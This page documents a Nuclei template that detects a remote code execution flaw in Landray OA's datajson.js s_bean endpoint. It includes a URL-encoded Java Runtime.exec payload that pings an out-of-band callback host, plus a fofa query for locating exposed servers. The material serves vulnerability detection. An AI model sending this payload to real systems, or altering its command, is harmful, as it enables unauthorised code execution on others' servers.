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Landray OA Datajson S Bean - Remote Code Execution

ID: landray-oa-datajson-rce

Severity: critical

Author: SleepingBag945

Tags: landray,rce,oast

Description

Section titled “Description”

Landray Office Automation (OA) software, specifically in the “s_bean” component’s “sysFormulaSimulateByJS” functionality. This vulnerability allows remote code execution (RCE), enabling attackers to execute arbitrary code on a target system.

YAML Source

Section titled “YAML Source”
id: landray-oa-datajson-rce


info:
  name: Landray OA Datajson S Bean - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Landray Office Automation (OA) software, specifically in the "s_bean" component's "sysFormulaSimulateByJS" functionality. This vulnerability allows remote code execution (RCE), enabling attackers to execute arbitrary code on a target system.
  reference:
    - https://github.com/k3sc/Landray-oa-rce-1/blob/main/poc.py
    - https://github.com/hktalent/scan4all/blob/main/pocs_go/landray/Landray_RCE.go
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/landray-oa-datajson-rce.yaml
  classification:
    cpe: cpe:2.3:a:landray:landray_office_automation:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: landray
    product: landray_office_automation
    fofa-query: app="Landray-OA系统"
  tags: landray,rce,oast


http:
  - raw:
      - |
        GET /data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=%66%75%6e%63%74%69%6f%6e%20%74%65%73%74%28%29%7b%20%72%65%74%75%72%6e%20%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%7d%3b%72%3d%74%65%73%74%28%29%3b%72%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%70%69%6e%67%20%2d%63%20%34%20{{interactsh-url}}%22%29&type=1 HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "success") && contains(body, "true")'
        condition: and
# digest: 4b0a00483046022100c9faf2a50b6d04201dc03578d7ed51f87bcfd0654c1150e304e08dda19fa8dc3022100f8ea958cdf9e104783f7010f1d638133fdacb733081f02f3e2af422623db8835:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/landray-oa-datajson-rce.yaml"

View on Github